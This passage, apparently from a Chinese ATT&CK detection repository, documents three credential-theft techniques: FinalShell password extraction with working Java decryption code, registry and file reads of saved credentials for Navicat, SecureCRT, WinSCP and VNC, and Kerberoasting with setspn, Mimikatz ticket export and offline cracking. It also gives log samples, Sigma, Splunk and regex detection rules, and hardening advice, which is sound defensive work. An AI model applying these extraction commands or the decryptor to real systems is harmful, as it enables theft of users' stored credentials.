    "content": "# T1555.005-Win-命令行获取Finalshell软件保存的公钥\n\n## 描述\n\n攻击者可能通过命令行工具从第三方密码管理器或SSH客户端（如FinalShell）中提取用户凭据或公钥。FinalShell是一款集SSH客户端、服务器管理和运维功能于一体的软件，广泛用于远程服务器管理。其存储的凭据（如用户名、密码）及SSH公钥通常以加密形式保存在本地配置文件中，但攻击者可通过访问这些文件并解密提取敏感信息。\n\n在FinalShell中，SSH公钥存储在knownhosts.json文件中，密码等凭据存储在*_connect_config.json文件中（DES加密）。攻击者可通过命令行读取这些文件，或利用公开的解密代码提取明文凭据。获取的凭据可用于横向移动或访问远程服务器。此攻击无需提权，普通用户权限即可执行，隐蔽性较高。\n\n## 测试案例\n\n命令行获取finalshell软件保存的公钥。\n\nFinalShell是一体化的的服务器，网络管理软件。不仅是ssh客户端，还是功能强大的开发，运维工具，充分满足开发，运维需求。\n\n特色功能:\n- 免费海外服务器远程桌面加速，ssh加速，本地化命令输入框，支持自动补全，命令历史，自定义命令参数。\n\n命令行获取finalshell软件保存的公钥:\n\n```yml\ntype c:\\users\\<username>\\AppData\\Local\\finalshell\\knownhosts.json\ntype d:\\finalshell(安装路径)\\knownhosts.json\n```\n\n该文件中关键字host的键值为远程服务器的SSH连接的IP和端口，关键字key的键值为该远程服务器的SSH连接的公钥。\n\n密码存在下方文件中：\n\n```yml\nc:\\Users\\Administrator\\AppData\\Local\\finalshell\\conn\\*********_connect_config.json\nD:\\software\\finalshell\\deleted\\*********\\***********_connect_config.json\n```\n\njson文件是des加密，可解密获得，打开<https://c.runoob.com/compile/10/>在线编辑器，使用下面java代码即可解密\n\n```java\nimport java.io.ByteArrayOutputStream;\nimport java.io.DataOutputStream;\nimport java.io.IOException;\nimport java.math.BigInteger;\nimport java.security.MessageDigest;\nimport java.security.NoSuchAlgorithmException;\nimport java.security.SecureRandom;\nimport java.util.Base64;\nimport java.util.Random;\n\nimport javax.crypto.Cipher;\nimport javax.crypto.SecretKey;\nimport javax.crypto.SecretKeyFactory;\nimport javax.crypto.spec.DESKeySpec;\n\npublic class FinalShellDecodePass {\n    public static void main(String[] args)throws Exception {\n        System.out.println(decodePass(\"TVE5YhZeGxyOCxxxxxxCUAnkVWgAeJ3L\"));\n    }\n    public static byte[] desDecode(byte[] data, byte[] head) throws Exception {\n        SecureRandom sr = new SecureRandom();\n        DESKeySpec dks = new DESKeySpec(head);\n        SecretKeyFactory keyFactory = SecretKeyFactory.getInstance(\"DES\");\n        SecretKey securekey = keyFactory.generateSecret(dks);\n        Cipher cipher = Cipher.getInstance(\"DES\");\n        cipher.init(2, securekey, sr);\n        return cipher.doFinal(data);\n    }\n    public static String decodePass(String data) throws Exception {\n        if (data == null) {\n            return null;\n        } else {\n            String rs = \"\";\n            byte[] buf = Base64.getDecoder().decode(data);\n            byte[] head = new byte[8];\n            System.arraycopy(buf, 0, head, 0, head.length);\n            byte[] d = new byte[buf.length - head.length];\n            System.arraycopy(buf, head.length, d, 0, d.length);\n            byte[] bt = desDecode(d, ranDomKey(head));\n            rs = new String(bt);\n\n            return rs;\n        }\n    }\n    static byte[] ranDomKey(byte[] head) {\n        long ks = 3680984568597093857L / (long)(new Random((long)head[5])).nextInt(127);\n        Random random = new Random(ks);\n        int t = head[0];\n\n        for(int i = 0; i < t; ++i) {\n            random.nextLong();\n        }\n\n        long n = random.nextLong();\n        Random r2 = new Random(n);\n        long[] ld = new long[]{(long)head[4], r2.nextLong(), (long)head[7], (long)head[3], r2.nextLong(), (long)head[1], random.nextLong(), (long)head[2]};\n        ByteArrayOutputStream bos = new ByteArrayOutputStream();\n        DataOutputStream dos = new DataOutputStream(bos);\n        long[] var15 = ld;\n        int var14 = ld.length;\n\n        for(int var13 = 0; var13 < var14; ++var13) {\n            long l = var15[var13];\n\n            try {\n                dos.writeLong(l);\n            } catch (IOException var18) {\n                var18.printStackTrace();\n            }\n        }\n\n        try {\n            dos.close();\n        } catch (IOException var17) {\n            var17.printStackTrace();\n        }\n\n        byte[] keyData = bos.toByteArray();\n        keyData = md5(keyData);\n        return keyData;\n    }\n    public static byte[] md5(byte[] data) {\n        String ret = null;\n        byte[] res=null;\n\n        try {\n            MessageDigest m;\n            m = MessageDigest.getInstance(\"MD5\");\n            m.update(data, 0, data.length);\n            res=m.digest();\n            ret = new BigInteger(1, res).toString(16);\n        } catch (NoSuchAlgorithmException e) {\n            e.printStackTrace();\n        }\n        return res;\n    }\n}\n```\n\n## 检测日志\n\n暂无，未发现Windows安全日志、Sysmon日志记录相关信息。\n\n模拟测试环境：Windows server 2012\n\n## 测试复现\n\n```yml\nC:\\Users\\Administrator>type c:\\users\\administrator\\AppData\\Local\\finalshell\\know\nnhosts.json\n{\"host_list\":[{\"marker\":\"\",\"host\":\"124.223.-.-\",\"type\":\"ssh-rsa\",\"key\":\"——————\"}]}\n\nC:\\Users\\Administrator>type c:\\Users\\Administrator\\AppData\\Local\\finalshell\\conn\n\\wgdw661g0vpyfqxa_connect_config.json\n{\"forwarding_auto_reconnect\":false,\"custom_size\":false,\"delete_time\":0,\"secret_k\ney_id\":\"\",\"user_name\":\"root\",\"remote_port_forwarding\":{},\"conection_type\":100,\n\"sort_time\":0,\"description\":\"\",\"proxy_id\":\"0\",\"authentication_type\":1,\"drivestor\nedirect\":true,\"delete_key_sequence\":0,\"password\":\"aaaassss————\",\"modified_time\":1664024518386,\"host\":\"124.223.-.-\",\"accelerate\":false,\"id\n\":\"wgdw661g0vpyfqxa\",\"height\":0,\"order\":0,\"create_time\":1664024518386,\"port_forw\narding_list\":[],\"parent_update_time\":0,\"rename_time\":0,\"backspace_key_sequence\":\n2,\"fullscreen\":false,\"port\":22,\"terminal_encoding\":\"UTF-8\",\"parent_id\":\"root\",\"e\nxec_channel_enable\":true,\"width\":0,\"name\":\"test\",\"access_time\":1664024522100}\n```\n\n## 测试留痕\n\n未监测到有效日志\n\n## 检测规则/思路\n\n无\n\n## 建议\n\n无\n\n## 参考推荐\n\n- MITRE-ATT&CK-T1555-005  \n  <https://attack.mitre.org/techniques/T1555/005/>\n- Finalshell导出密码解密解密  \n  <https://www.jianshu.com/p/f5bfa7b229de>\n"
  },
  {
    "path": "Windows/08凭证访问/T1555.005-Win-常见凭据存放位置.md",
    "content": "# T1555.005-Win-常见凭据存放位置\n\n## 描述\n\n攻击者可能通过访问第三方密码管理器或客户端软件的配置文件、注册表项或内存，提取用户凭据。这些软件（如Navicat、SecureCRT、Xshell、WinSCP、VNC）用于管理数据库、远程服务器或桌面连接，凭据通常存储在本地文件或注册表中，可能以明文、加密或哈希形式存在。攻击者可通过文件读取、注册表查询或内存转储获取凭据，无需提权，普通用户权限即可操作，隐蔽性较高。\n\n提取的凭据可用于横向移动、特权提升或访问远程系统。部分软件的加密算法较弱，攻击者可利用公开的解密工具或脚本还原明文凭据。\n\n## 测试案例\n\n### 测试案例1：Navicat数据库凭据\nNavicat存储数据库连接凭据在注册表中，可能包含明文或弱加密密码。\n\n**路径**：\n```plaintext\nHKEY_CURRENT_USER\\Software\\PremiumSoft\\Navicat\\Servers\\<connection_name>\nHKEY_CURRENT_USER\\Software\\PremiumSoft\\NavicatMARIADB\\Servers\\<connection_name>\nHKEY_CURRENT_USER\\Software\\PremiumSoft\\NavicatMONGODB\\Servers\\<connection_name>\nHKEY_CURRENT_USER\\Software\\PremiumSoft\\NavicatMSSQL\\Servers\\<connection_name>\nHKEY_CURRENT_USER\\Software\\PremiumSoft\\NavicatOra\\Servers\\<connection_name>\nHKEY_CURRENT_USER\\Software\\PremiumSoft\\NavicatPG\\Servers\\<connection_name>\nHKEY_CURRENT_USER\\Software\\PremiumSoft\\NavicatSQLite\\Servers\\<connection_name>\n```\n\n**命令**：\n```cmd\nreg query HKEY_CURRENT_USER\\Software\\PremiumSoft\\Navicat\\Servers\n```\n\n- **说明**：\n  - 注册表项包含连接名称、主机、用户名和加密密码。\n  - 密码需使用Navicat解密工具（如公开脚本）解密。\n- **权限**：普通用户权限。\n- **支持系统**：Windows7、WindowsServer2008及以上。\n\n### 测试案例2：SecureCRT会话凭据\nSecureCRT存储SSH会话凭据在配置文件中，可能包含密码或私钥。\n\n**路径**：\n```plaintext\nWindowsXP/2003: C:\\Documents and Settings\\<username>\\Application Data\\VanDyke\\Config\\Sessions\nWindows7/2008+: C:\\Users\\<username>\\AppData\\Roaming\\VanDyke\\Config\\Sessions\n```\n\n**命令**：\n```cmd\ndir C:\\Users\\<username>\\AppData\\Roaming\\VanDyke\\Config\\Sessions\ntype C:\\Users\\<username>\\AppData\\Roaming\\VanDyke\\Config\\Sessions\\<session>.ini\n```\n\n- **说明**：\n  - `.ini`文件包含主机、用户名和加密密码（若保存）。\n  - 需SecureCRT密码解密工具。\n- **权限**：普通用户权限。\n\n### 测试案例3：Xshell会话凭据\nXshell存储SSH会话信息在`.xsh`文件中。\n\n**路径**：\n```plaintext\nXshell5: %userprofile%\\Documents\\NetSarang\\Xshell\\Sessions\nXshell6+: %userprofile%\\Documents\\NetSarang Computer\\6\\Xshell\\Sessions\n```\n\n**命令**：\n```cmd\ntype %userprofile%\\Documents\\NetSarang\\Xshell\\Sessions\\<session>.xsh\n```\n\n- **说明**：\n  - 包含主机、端口、用户名，密码通常不存储（需私钥或手动输入）。\n- **权限**：普通用户权限。\n\n### 测试案例4：WinSCP会话凭据\nWinSCP存储FTP/SFTP会话凭据在注册表中。\n\n**路径**：\n```plaintext\nHKEY_CURRENT_USER\\Software\\Martin Prikryl\\WinSCP 2\\Sessions\n```\n\n**命令**：\n```cmd\nreg query \"HKEY_CURRENT_USER\\Software\\Martin Prikryl\\WinSCP 2\\Sessions\"\n```\n\n- **说明**：\n  - 包含主机、用户名和加密密码，可用WinSCP解密脚本提取。\n- **权限**：普通用户权限。\n\n### 测试案例5：VNC凭据\nVNC客户端存储远程桌面连接密码在注册表或配置文件中。\n\n**路径**：\n```plaintext\nRealVNC: HKEY_LOCAL_MACHINE\\SOFTWARE\\RealVNC\\vncserver\\Password\nTightVNC: HKEY_CURRENT_USER\\Software\\TightVNC\\Server\\Password\nTigerVNC: HKEY_CURRENT_USER\\Software\\TigerVNC\\WinVNC4\\Password\nUltraVNC: C:\\Program Files\\UltraVNC\\ultravnc.ini (passwd/passwd2)\n```\n\n**命令**：\n```cmd\nreg query HKEY_LOCAL_MACHINE\\SOFTWARE\\RealVNC\\vncserver /v Password\ntype \"C:\\Program Files\\UltraVNC\\ultravnc.ini\"\n```\n\n- **说明**：\n  - 密码通常为加密形式，需专用解密工具。\n- **权限**：普通用户权限（部分需管理员权限，如RealVNC）。\n\n## 检测日志\n\n### 数据来源\n- Windows安全日志：\n  - 事件ID4688：进程创建，记录`reg.exe`、`cmd.exe`或`type`命令的执行。\n- Sysmon日志：\n  - 事件ID1：进程创建，记录命令行参数。\n  - 事件ID11：文件访问，记录对配置文件或注册表的读取。\n  - 事件ID13：注册表访问，记录对凭据相关键的查询。\n- 文件监控：\n  - 检测对Navicat、SecureCRT、Xshell、WinSCP、VNC配置文件的异常访问。\n- 网络监控：\n  - 检测解密后的凭据用于远程系统（SSH、RDP、数据库）的异常登录。\n\n### 限制\n- 默认情况下，Windows安全日志可能不记录详细命令行参数，需启用“命令行进程创建审计”。\n- Sysmon需配置针对特定文件和注册表路径的监控规则。\n\n## 测试复现\n\n### 环境准备\n- 靶机：WindowsServer2012或Windows10\n- 软件：Navicat、SecureCRT、Xshell、WinSCP、RealVNC/TightVNC等（已配置连接）\n- 账户：普通用户账户（如TEST\\user1）\n- 工具：\n  - Sysmon（可选，日志收集）\n  - 解密脚本（如Navicat、WinSCP的公开工具）\n\n### 攻击分析\n\n#### 测试1：提取Navicat凭据\n1. **登录靶机**：\n   使用普通用户账户登录。\n\n2. **查询注册表**：\n   ```cmd\n   reg query HKEY_CURRENT_USER\\Software\\PremiumSoft\\Navicat\\Servers\n   ```\n   - 输出连接名称、主机、用户名和加密密码。\n\n3. **导出注册表**：\n   ```cmd\n   reg export HKEY_CURRENT_USER\\Software\\PremiumSoft\\Navicat\\Servers C:\\Temp\\navicat.reg\n   ```\n\n4. **解密密码**：\n   使用Navicat解密工具（如Python脚本）处理加密密码。\n\n5. **结果分析**：\n   - 成功：获取数据库用户名和密码。\n   - 失败可能：无Navicat配置或解密工具失效。\n\n#### 测试2：提取SecureCRT凭据\n1. **定位配置文件**：\n   ```cmd\n   dir C:\\Users\\user1\\AppData\\Roaming\\VanDyke\\Config\\Sessions\n   ```\n\n2. **读取会话文件**：\n   ```cmd\n   type C:\\Users\\user1\\AppData\\Roaming\\VanDyke\\Config\\Sessions\\session.ini\n   ```\n\n3. **解密密码**：\n   使用SecureCRT解密工具提取密码。\n\n4. **结果分析**：\n   - 成功：获取SSH连接凭据。\n   - 失败可能：未保存密码或文件权限限制。\n\n#### 测试3：提取VNC凭据\n1. **查询注册表**：\n   ```cmd\n   reg query HKEY_LOCAL_MACHINE\\SOFTWARE\\RealVNC\\vncserver /v Password\n   ```\n\n2. **读取配置文件**：\n   ```cmd\n   type \"C:\\Program Files\\UltraVNC\\ultravnc.ini\"\n   ```\n\n3. **解密密码**：\n   使用VNC解密工具处理加密字段。\n\n4. **结果分析**：\n   - 成功：获取VNC连接密码。\n   - 失败可能：需管理员权限或未配置VNC。\n\n## 测试留痕\n\n### Windows安全日志\n- 事件ID4688：\n  ```\n  已创建新进程。\n\n  创建者主题:\n    安全ID: TEST\\user1\n    帐户名: user1\n    帐户域: TEST\n    登录ID: 0x7169C\n\n  进程信息:\n    新进程ID: 0xd3c\n    新进程名称: C:\\Windows\\System32\\reg.exe\n    令牌提升类型: %%1936\n    强制性标签: Mandatory Label\\Medium Mandatory Level\n    创建者进程ID: 0x15d0\n    创建者进程名称: C:\\Windows\\System32\\cmd.exe\n    进程命令行: reg query HKEY_CURRENT_USER\\Software\\PremiumSoft\\Navicat\\Servers\n  ```\n\n### Sysmon日志\n- 事件ID1：\n  ```\n  事件ID:1\n  OriginalFileName:reg.exe\n  CommandLine:reg query HKEY_CURRENT_USER\\Software\\PremiumSoft\\Navicat\\Servers\n  CurrentDirectory:C:\\Users\\user1\\\n  User:TEST\\user1\n  Hashes:SHA1=1A2B3C4D5E6F7A8B9C0D1E2F3A4B5C6D7E8F9A0B\n  ParentImage:C:\\Windows\\System32\\cmd.exe\n  ```\n- 事件ID11：\n  ```\n  事件ID:11\n  Image:C:\\Windows\\System32\\cmd.exe\n  TargetFilename:C:\\Users\\user1\\AppData\\Roaming\\VanDyke\\Config\\Sessions\\session.ini\n  ```\n\n## 检测规则/思路\n\n### 检测方法\n1. 进程监控：\n   - 检测`reg.exe`查询敏感注册表路径。\n   - 检测`cmd.exe`执行`type`命令访问配置文件。\n2. 命令行分析：\n   - 正则表达式匹配：\n     ```regex\n     reg\\.exe.*query.*(Navicat|WinSCP|RealVNC|TightVNC|TigerVNC)\n     ```\n     ```regex\n     cmd\\.exe.*type.*(VanDyke\\\\Config\\\\Sessions|NetSarang.*Sessions|ultravnc\\.ini)\n     ```\n3. 文件监控：\n   - 检测对Navicat、SecureCRT、Xshell、WinSCP、VNC配置文件的异常访问。\n   - 监控非预期路径下的导出文件（如`.reg`、`.ini`）。\n4. 注册表监控：\n   - 检测对凭据相关注册表键的查询或修改。\n5. 网络监控：\n   - 检测解密后的凭据用于远程系统（SSH、RDP、数据库）的异常登录。\n\n### Sigma规则\n```yaml\ntitle: 访问常见凭据存放位置\nid: 8f9a0b1c-2d3e-4f5a-6b7c-8d9e0f1a2b3c\ndescription: 检测命令行或注册表工具访问Navicat、SecureCRT、Xshell、WinSCP、VNC的凭据存储位置\nstatus: experimental\nreferences:\n  - https://attack.mitre.org/techniques/T1555/005/\ntags:\n  - attack.credential_access\n  - attack.t1555.005\nlogsource:\n  product: windows\n  service: sysmon\ndetection:\n  selection_reg:\n    EventID: 1\n    Image|endswith: '\\reg.exe'\n    CommandLine|contains:\n      - 'Navicat'\n      - 'WinSCP'\n      - 'RealVNC'\n      - 'TightVNC'\n      - 'TigerVNC'\n  selection_file:\n    EventID: 1\n    Image|endswith: '\\cmd.exe'\n    CommandLine|contains:\n      - 'VanDyke\\Config\\Sessions'\n      - 'NetSarang'\n      - 'ultravnc.ini'\n  filter_legitimate:\n    CommandLine|contains:\n      - 'C:\\Program Files\\'\n      - 'C:\\Program Files (x86)\\'\n  condition: (selection_reg or selection_file) and not filter_legitimate\nfields:\n  - Image\n  - CommandLine\n  - ParentImage\n  - User\nfalsepositives:\n  - 合法的软件配置操作\nlevel: medium\n```\n\n规则说明：\n- 目标：检测访问Navicat、SecureCRT、Xshell、WinSCP、VNC的凭据存储位置。\n- 过滤：排除合法程序路径的调用。\n- 日志来源：Sysmon事件ID1。\n- 误报处理：管理员维护操作可能触发，需结合用户上下文分析。\n- 级别：标记为“中”优先级，因需进一步确认恶意行为。\n\n### Splunk规则\n```spl\nindex=windows source=\"Microsoft-Windows-Sysmon/Operational\"\nEventCode=1 (Image=\"*\\reg.exe\" CommandLine IN (\"*Navicat*\",\"*WinSCP*\",\"*RealVNC*\",\"*TightVNC*\",\"*TigerVNC*\") OR Image=\"*\\cmd.exe\" CommandLine IN (\"*VanDyke*\",\"*NetSarang*\",\"*ultravnc.ini*\"))\nNOT CommandLine IN (\"*Program Files*\")\n| fields Image,CommandLine,ParentImage,User\n```\n\n规则说明：\n- 检测访问凭据存储位置的操作，排除合法路径。\n- 减少误报：结合命令行参数和父进程分析。\n\n### 检测挑战\n- 误报：管理员或用户查看配置文件可能触发，需建立行为基线。\n- 日志依赖：需启用命令行审计和Sysmon监控。\n- 隐蔽性：攻击使用系统工具（如`reg.exe`、`cmd.exe`），难以区分合法与恶意行为。\n\n## 防御建议\n1. 监控和日志：\n   - 启用命令行审计，确保事件ID4688记录完整参数。\n   - 部署Sysmon，配置针对敏感文件和注册表路径的监控。\n2. 文件和注册表保护：\n   - 限制普通用户对敏感配置文件和注册表键的访问权限。\n   - 使用文件完整性监控工具检测配置篡改。\n3. 凭据管理：\n   - 配置软件不保存密码，或使用强加密和主密码保护。\n   - 定期清理未使用的连接配置。\n4. 软件更新：\n   - 保持Navicat、SecureCRT、Xshell、WinSCP、VNC更新，修复加密漏洞。\n5. 网络监控：\n   - 监控SSH、RDP、数据库流量，检测异常登录尝试。\n\n## 参考推荐\n- MITREATT&CKT1555.005:  \n  <https://attack.mitre.org/techniques/T1555/005/>\n- 红蓝对抗之Windows内网渗透:  \n  <https://blog.csdn.net/Tencent_SRC/article/details/107853395>\n- Sysmon配置与检测:  \n  <https://github.com/SwiftOnSecurity/sysmon-config>\n- Navicat密码解密工具:  \n  <https://github.com/kelvinBen/Navicat-Password-Decryptor>\n- WinSCP密码解密:  \n  <https://github.com/pwnieexpress/winscp-password-decryptor>"
  },
  {
    "path": "Windows/08凭证访问/T1558.003-Win-SPN-凭证转储.md",
    "content": "# T1558.003-基于SPN凭证获取\n\n## 描述\n\n攻击者可能利用有效的Kerberos票证授予票证（TGT）或嗅探网络流量，获取票证授予服务（TGS）票证，针对服务主体名称（SPN）关联的服务账户进行离线暴力破解，以窃取凭据。SPN用于唯一标识Windows服务的实例，需与至少一个服务账户关联以启用Kerberos身份验证。\n\n攻击者通过SPN扫描发现域内服务，使用TGT向域控制器（DC）请求TGS票证。TGS票证的部分数据以RC4算法加密（Kerberos5TGS-REP etype 23），使用服务账户的NTLM哈希作为密钥，易受离线破解攻击，可能暴露明文密码。破解的凭据可用于持久化、特权提升或横向移动。\n\n**SPN与UPN**：\n- **SPN（服务主体名称）**：标识运行在机器账户或系统账户（如LocalSystem）下的服务，格式如`MSSQLSvc/DC1.test.com`。\n- **UPN（用户主体名称）**：标识运行在域用户账户下的服务，格式如`user@domain.com`。\n\n攻击无需向目标服务发送流量，仅需与DC交互，难以通过传统网络监控检测。\n\n## 测试案例\n\n### 测试案例1：SPN扫描与Kerberoasting攻击\n通过PowerShell扫描域内SPN，请求TGS票证并导出，使用Kerberoast工具破解服务账户密码。\n\n**步骤**：\n1. **扫描SPN**：\n   ```powershell\n   setspn -T domain.com -Q */*\n   ```\n   - 查询域内所有SPN，输出如`MSSQLSvc/DC1.test.com`。\n\n2. **请求TGS票证**：\n   ```powershell\n   $SPNName = 'MSSQLSvc/DC1.test.com'\n   Add-Type -AssemblyName System.IdentityModel\n   New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $SPNName\n   ```\n\n3. **查看票证**：\n   ```powershell\n   klist\n   ```\n   - 确认内存中包含目标SPN的TGS票证。\n\n4. **导出票证**：\n   使用Mimikatz：\n   ```cmd\n   mimikatz.exe \"kerberos::list /export\" exit\n   ```\n   - 导出票证为`.kirbi`文件。\n\n5. **破解哈希**：\n   使用Kerberoast：\n   ```bash\n   python3 tgsrepcrack.py wordlist.txt ticket.kirbi\n   ```\n\n- **说明**：\n  - 无需提权，仅需域用户权限即可请求TGS。\n  - 破解成功可获得服务账户明文密码。\n- **权限**：域用户权限。\n- **支持系统**：WindowsServer2008及以上（需ActiveDirectory环境）。\n\n## 检测日志\n\n### 数据来源\n- Windows安全日志：\n  - 事件ID4769：Kerberos服务票证请求，记录TGS请求。\n  - 事件ID4624：账户登录，记录请求票证的账户。\n- Sysmon日志：\n  - 事件ID1：进程创建，记录PowerShell或Mimikatz的执行。\n  - 事件ID11：文件创建，记录导出的`.kirbi`文件。\n- 网络流量（Netflow）：\n  - 检测DC的LDAP查询（端口389）或Kerberos流量（端口88）。\n  - 检测RC4加密类型（etype 23）的TGS-REP。\n- 文件监控：\n  - 检测非预期路径下的`.kirbi`文件。\n\n## 测试复现\n\n### 环境准备\n- 攻击机：KaliLinux2019\n- 靶机：\n  - WindowsServer2012（域控制器，安装ActiveDirectory）\n  - WindowsServer2016（运行服务，如SQLServer）\n- 工具：\n  - PowerShellAD模块（SPN扫描）\n  - Mimikatz（票证导出）\n  - Kerberoast（TGS破解）\n  - Sysmon（可选，日志收集）\n\n### 攻击分析\n\n#### 测试1：SPN扫描与Kerberoasting\n1. **安装PowerShellAD模块**：\n   在WindowsServer2016上：\n   ```powershell\n   Import-Module ServerManager; Add-WindowsFeature RSAT-AD-PowerShell\n   ```\n\n2. **扫描SPN**：\n   ```powershell\n   setspn -T test.com -Q */*\n   ```\n   - 假设发现`MSSQLSvc/DC1.test.com`。\n\n3. **请求TGS**：\n   ```powershell\n   $SPNName = 'MSSQLSvc/DC1.test.com'\n   Add-Type -AssemblyName System.IdentityModel\n   New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $SPNName\n   ```\n\n4. **验证票证**：\n   ```powershell\n   klist\n   ```\n   - 确认TGS票证存在。\n\n5. **导出票证**：\n   使用Mimikatz：\n   ```cmd\n   mimikatz.exe \"kerberos::list /export\" exit\n   ```\n   - 导出为`ticket.kirbi`。\n\n6. **传输票证到攻击机**：\n   通过SMB或HTTP将`ticket.kirbi`复制到Kali。\n\n7. **破解哈希**：\n   ```bash\n   python3 tgsrepcrack.py /usr/share/wordlists/rockyou.txt ticket.kirbi\n   ```\n   - 输出服务账户密码（如`Password123`）。\n\n8. **结果分析**：\n   - 成功：获得服务账户明文密码，可用于进一步攻击。\n   - 失败可能：\n     - 域用户权限不足。\n     - SPN配置错误。\n     - 密码字典不包含目标密码。\n\n## 测试留痕\n\n### Windows安全日志\n- 事件ID4769：\n  ```\n  事件ID:4769\n  服务名称:MSSQLSvc/DC1.test.com\n  账户名:user1\n  账户域:TEST\n  客户端地址:::ffff:192.168.1.100\n  票证选项:0x40810000\n  票证加密类型:0x17\n  ```\n\n### Sysmon日志\n- 事件ID1：\n  ```\n  事件ID:1\n  OriginalFileName:powershell.exe\n  CommandLine:powershell -c \"Add-Type -AssemblyName System.IdentityModel; New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList 'MSSQLSvc/DC1.test.com'\"\n  CurrentDirectory:C:\\Users\\user1\\\n  User:TEST\\user1\n  Hashes:SHA1=1A2B3C4D5E6F7A8B9C0D1E2F3A4B5C6D7E8F9A0B\n  ParentImage:C:\\Windows\\System32\\cmd.exe\n  ```\n- 事件ID11：\n  ```\n  事件ID:11\n  Image:C:\\Windows\\System32\\mimikatz.exe\n  TargetFilename:C:\\Users\\user1\\ticket.kirbi\n  ```\n\n### Netflow流量\n- DC（192.168.1.10:88）与客户端（192.168.1.100）的Kerberos流量，包含RC4加密类型（etype 23）。\n\n## 检测规则/思路\n\n### 检测方法\n1. 进程监控：\n   - 检测`powershell.exe`执行SPN扫描或TGS请求。\n   - 检测`mimikatz.exe`的执行或票证导出行为。\n2. 命令行分析：\n   - 正则表达式匹配：\n     ```regex\n     powershell\\.exe.*(setspn|KerberosRequestorSecurityToken)\n     ```\n     ```regex\n     mimikatz\\.exe.*kerberos::list.*export\n     ```\n3. 安全日志分析：\n   - 监控事件ID4769，检测异常的TGS请求（频繁请求或针对蜜罐账户）。\n   - 检查`TicketEncryptionType`为0x17（RC4）。\n4. 网络监控：\n   - 检测DC的LDAP查询（端口389）或Kerberos流量（端口88）的异常模式。\n   - 监控RC4加密的TGS-REP流量。\n5. 文件监控：\n   - 检测`.kirbi`文件的创建或异常访问。\n\n### Sigma规则\n优化后的Sigma规则，增强蜜罐账户检测：\n```yaml\ntitle: SPN服务票证请求异常检测\nid: 4b5c6d7e-8f9a-0b1c-2d3e-4f5a6b7c8d9e\ndescription: 检测异常的KerberosTGS票证请求，可能与SPN扫描或Kerberoasting相关\nstatus: experimental\nreferences:\n  - https://adsecurity.org/?p=3458\ntags:\n  - attack.credential_access\n  - attack.t1558.003\nlogsource:\n  product: windows\n  service: security\ndetection:\n  selection:\n    EventID: 4769\n    ServiceName|endswith: '$' # 针对服务账户或蜜罐账户\n    TicketEncryptionType: 0x17 # RC4加密\n    TicketOptions: 0x40810000\n  filter_legitimate:\n    ClientAddress|startswith:\n      - '::ffff:127.0.0.1'\n      - '::ffff:192.168.1.1' # 已知DC地址\n  condition: selection and not filter_legitimate\nfields:\n  - ServiceName\n  - AccountName\n  - ClientAddress\n  - TicketEncryptionType\nfalsepositives:\n  - 合法的服务票证请求\nlevel: medium\n```\n\n规则说明：\n- 目标：检测针对服务账户（或蜜罐账户）的TGS请求，尤其是RC4加密类型。\n- 过滤：排除DC自身或其他已知合法地址的请求。\n- 日志来源：Windows安全日志事件ID4769。\n- 误报处理：需配置蜜罐账户或结合SPN请求频率分析。\n- 级别：标记为“中”优先级，因需结合其他证据确认。\n\n### Splunk规则\n```spl\nindex=windows source=\"WinEventLog:Security\"\nEventCode=4769 TicketEncryptionType=0x17 TicketOptions=0x40810000 ServiceName=*$ \n| fields ServiceName,AccountName,ClientAddress,TicketEncryptionType\n| search NOT ClientAddress IN (\"::ffff:127.0.0.1\",\"::ffff:192.168.1.1\")\n```\n\n规则说明：\n- 检测RC4加密的TGS请求，排除已知合法地址。\n- 减少误报：结合服务账户名称和客户端地址分析。\n\n### 检测挑战\n- 误报：合法服务票证请求可能触发，需配置蜜罐账户或分析请求频率。\n- 日志依赖：需启用事件ID4769的详细日志。\n- 隐蔽性：SPN扫描和TGS请求是正常Kerberos行为，难以通过传统网络监控检测。\n\n## 防御建议\n1. 监控和日志：\n   - 启用事件ID4769的详细审计，记录TGS请求。\n   - 部署Sysmon，配置针对PowerShell和Mimikatz的规则。\n2. 账户保护：\n   - 为服务账户设置强密码（至少15位，定期轮换）。\n   - 使用组策略限制服务账户的SPN注册。\n3. 蜜罐账户：\n   - 部署蜜罐服务账户，配置虚假SPN，触发检测规则。\n4. 加密强化：\n   - 禁用RC4加密（强制使用AES，组策略路径：`计算机配置>策略>管理模板>系统>Kerberos`）。\n5. 网络监控：\n   - 监控DC的Kerberos和LDAP流量，检测异常请求模式。\n6. 安全更新：\n   - 保持WindowsServer和ActiveDirectory更新。\n\n## 参考推荐\n- MITREATT&CKT1558.003:  \n  <https://attack.mitre.org/techniques/T1558/003/>\n- SPN扫描SQL服务主体脚本:  \n  <https://github.com/PyroTek3/PowerShell-AD-Recon/blob/master/Discover-PSMSSQLServers>\n- PowerShellAD侦察脚本:  \n  <https://github.com/PyroTek3/PowerShell-AD-Recon>\n- ActiveDirectory中获取域管理员权限的攻击方法:  \n  <https://www.cnblogs.com/backlion/p/7159296.html>\n- 使用Kerberoasting提取服务账户密码:  \n  <https://blog.stealthbits.com/extracting-service-account-passwords-with-kerberoasting/>\n- ActiveDirectory服务主体名称说明:  \n  <https://thebackroomtech.com/2018/08/21/explanation-of-service-principal-names-in-active-directory/>\n- 检测Kerberoasting活动:  \n  <https://adsecurity.org/?p=3458>\n- 检测Kerberoasting活动第2部分:  \n  <https://adsecurity.org/?p=3513>\n- ActiveDirectoryPowerShell模块收集AD信息:  \n  <https://www.cnblogs.com/backlion/p/9267100.html>\n- WCF安全系列-SPN与UPN:  \n  <https://www.cnblogs.com/artech/archive/2011/06/12/Authentication_043.html>\n- Mimikatz:用于票证导出的工具。  \n  <https://github.com/gentilkiwi/mimikatz>\n- Kerberoast:用于TGS破解的工具。  \n  <https://github.com/nidem/kerberoast>\n- Sysmon配置与检测:  \n  <https://github.com/SwiftOnSecurity/sysmon-config>\n"
  },
  {
    "path": "Windows/08凭证访问/T1558.003-Win-kerberosing.md",
